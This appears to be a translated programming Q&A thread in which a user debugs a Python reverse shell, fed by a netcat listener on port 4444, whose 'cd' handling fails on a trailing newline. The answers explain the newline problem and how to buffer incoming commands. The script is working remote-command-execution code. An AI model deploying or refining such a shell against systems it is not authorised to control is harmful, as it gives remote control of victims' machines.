我尝试使用netcat在python(反向tcp ip)中编写反向shell,我无法使用模块更改目录os.chdir()这里是我的代码:
import socket
import subprocess
import os
host = 'localhost'
port = 4444
s = socket.socket()
s.connect((host,port))
while True:
directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
else:
comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
out,x = comm.communicate()
s.send(out)
我继续听4444端口 用netcat做:nc -lvp 4444 在这里运行我的scrypt是错误:
file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123]
A syntax of file name, directory, or volume is incorrect
'C:\\Users\\Isabelle\\Desktop\\dossier\n'
答案 0 :(得分:0)
问题与文件名有关:C:\\Users\\Isabelle\\Desktop\\dossier\n
其中\n
为Linefeed (LF)。
结果是无效路径。
答案 1 :(得分:0)
您在要更改的目录名称中包含命令末尾的行分隔符。您可以通过rstrip
关闭行分隔符来解决此问题,但如果您采用这种方法,则可能会遇到未来的问题。
您正在接收原始数据块,这些数据块可能包含多行。无法保证data
包含单个命令,甚至整个命令。应该进行处理以将输入分解为行,如果data
在行的中间结束,则将其与下一个recv
的第一行连接。